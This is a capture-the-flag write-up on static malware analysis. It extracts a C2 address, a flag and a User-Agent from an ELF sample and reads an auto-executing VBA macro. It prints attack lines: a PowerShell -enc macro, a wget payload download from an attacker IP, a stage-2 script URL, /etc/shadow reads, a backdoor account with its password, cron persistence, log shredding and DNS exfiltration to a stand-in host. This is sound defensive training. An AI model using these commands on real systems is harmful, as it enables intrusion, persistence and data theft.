One Binary.
One Macro.
No Execution Required.

The Scenario

The SOC escalated two suspicious files found on the compromised server from Challenges 01–04. The objective: perform static analysis to understand their capabilities without executing them.

Dynamic analysis (running the malware in a sandbox) tells you what it does. Static analysis tells you what it is, before it ever runs. No infection risk, no noise, no network callbacks. Just the file and your tools.

Tools Used

What is Static Malware Analysis?

Static analysis means examining a malicious file without executing it. The file never runs, so there is no risk of infection, no network callbacks, and no need for a sandboxed environment. By extracting strings, reading source code, and examining hex dumps, analysts can identify C2 addresses, embedded payloads, evasion techniques, and infection chains from the raw bytes alone.

It is always the first step in malware triage. You want to know what you are dealing with before you decide whether to run it.

Flag 5.1 C2 Address in ELF Binary

Approach

The first task was to extract the C2 address hardcoded in the ELF binary. strings scans a binary file and prints every sequence of printable characters above a minimum length. Combined with a regex filter targeting IP address patterns and C2-related keywords, this surfaces embedded network indicators without touching the disassembler.

strings sample.elf | grep -iE "([0-9]{1,3}\.){3}[0-9]{1,3}|http|c2|beacon|connect"

203.0.113.99

203.0.113.99 is the same C2 IP identified in Challenge 01 (UFW firewall log), Challenge 02 (beacon command-line arguments), and Challenge 03 (DNS resolution). Static analysis of the binary confirms this is the same malware used in the breach. The IP is hardcoded directly into the executable.

Flag 5.1 203.0.113.99

Flag 5.2 Flag String Embedded in Binary

Approach

Malware binaries sometimes contain plaintext debug strings, version info, or developer notes left behind during development. Filtering the strings output for the flag format surfaces these immediately.

strings sample.elf | grep FLAG

FLAG{static_analysis_ftw}

The flag was recoverable as a plaintext string with no reverse engineering required. This is why static analysis is the first step: sensitive strings, hardcoded credentials, and embedded configuration are often sitting in plaintext inside the binary, recoverable with a single command.

Flag 5.2 static_analysis_ftw

Flag 5.3 Beacon User-Agent

Approach

Malware communicating over HTTP sets a User-Agent header to identify itself to the C2 server. Sophisticated malware deliberately mimics legitimate browser User-Agents to blend in with normal web traffic and evade network detection rules. Searching the binary strings for browser-related keywords exposes this.

strings sample.elf | grep -i "user-agent\|mozilla\|browser"

Mozilla/5.0 (compatible; beacon/2.0)

The beacon uses Mozilla/5.0 (compatible; beacon/2.0), masquerading as a browser to blend into HTTP traffic: the same User-Agent seen in the Apache access logs during Challenge 01 when the web shell was uploaded and C2 callbacks were made. Static analysis confirmed what the logs implied.

Flag 5.3 Mozilla/5.0 (compatible; beacon/2.0)

Flag 5.4 Encoded Command in VBA Macro

Approach

VBA (Visual Basic for Applications) macros embedded in Office documents are one of the most common initial access techniques in real-world attacks. When the document is opened, AutoOpen() or Document_Open() fires automatically, executing whatever code the attacker placed inside. Reading the extracted source is enough to understand the full payload.

cat macro-source.vba

Sub AutoOpen()
    Shell "powershell -enc FLAG{macro_payload_detected}"
End Sub

The -enc flag tells PowerShell to accept a base64-encoded command, hiding the true payload from basic inspection. The macro auto-executes on document open using AutoOpen(). The victim only has to open the file. This is stage one of the infection chain.

Flag 5.4 macro_payload_detected

Flag 5.5 Macro Second Stage URL

Approach

Reading the full macro source revealed more than just the encoded command. The macro implements a two-stage infection chain and includes sandbox evasion checks before executing: a hallmark of real-world malware designed to survive automated analysis environments.

cat macro-source.vba

http://198.51.100.47/stage2.ps1

The macro checks that the computer name is not SANDBOX and that C:\agent\agent.exe is absent before executing. Standard sandbox evasion. The download server 198.51.100.47 is the same attacker IP from Challenge 01 (brute force source) and Challenge 02 (payload download). Every artifact across all five challenges traces back to the same infrastructure.

Flag 5.5 http://198.51.100.47/stage2.ps1

Full Attack Timeline: Challenges 01–05

[Initial Access]
02:55:00  Directory brute force with DirBuster
02:55:00  Targeted port scan: 22, 80, 443, 8080, 3306
03:30:00  Web shell uploaded: /uploads/shell.php (beacon/2.0 user-agent)

[Execution]
03:31:00  Web shell tested: id, whoami, cat /etc/passwd
03:32:00  Payload downloaded: wget http://198.51.100.47/payload.elf
03:32:00  Beacon executed: /tmp/.update/beacon -c 203.0.113.99 -p 443 -e aes256

[Credential Access]
03:33:00  cat /etc/shadow via reverse shell
03:33:00  Sensitive files staged: /var/tmp/.cache/exfil.tar.gz

[Persistence]
03:33:00  Backdoor user created: svc-backup (Sup3rS3cret!)
03:34:00  SSH key added: /home/svc-backup/.ssh/authorized_keys
03:45:00  Crontab persistence: */5 * * * * /tmp/.hidden/beacon.sh

[Command & Control]
03:47:00  C2 callback confirmed: 203.0.113.99:4444
03:33:00  DNS exfiltration: stolen_credentials via evil-c2.example.com

[Defense Evasion]
03:50:00  Rootkit loaded: rootkit_mod hiding PID 31337
          Cleanup script prepared: shred /var/log/*
          Malware masquerades as kworker-update process
          Beacon uses Mozilla/5.0 User-Agent to blend in

[Planned Exfiltration]
          OPERATION NIGHTFALL: 2025-11-15 02:00 UTC via DNS tunnel
          Targets: customer database and financial records
          Staged data: /documents/.secret/stolen-data.csv on USB drive

[Malware Artifacts]
          sample.elf hardcodes C2: 203.0.113.99
          Macro delivers stage2.ps1 from http://198.51.100.47/stage2.ps1
          Sandbox evasion checks in VBA macro

Key Takeaways

• ELF binaries often contain hardcoded C2 addresses, User-Agents, and credentials recoverable with strings. No disassembler needed for initial triage.
• Malware frequently leaves plaintext strings in binaries. Always run strings before anything else.
• Beacons masquerade as legitimate browsers using fake User-Agent strings to evade network detection rules.
• VBA macros use PowerShell with -enc to hide base64-encoded payloads from basic inspection. Reading the source is always the first step.
• Multi-stage malware downloads additional payloads to keep the initial dropper small and avoid signature detection.
• Sandbox evasion checks are common in real-world malware. Checking for SANDBOX hostnames and analysis agent paths before executing is standard tradecraft.
• Every artifact across all five challenges points to the same attacker infrastructure: 203.0.113.99, 198.51.100.47, and evil-c2.example.com. Logs, memory, network, disk, and malware all tell the same story.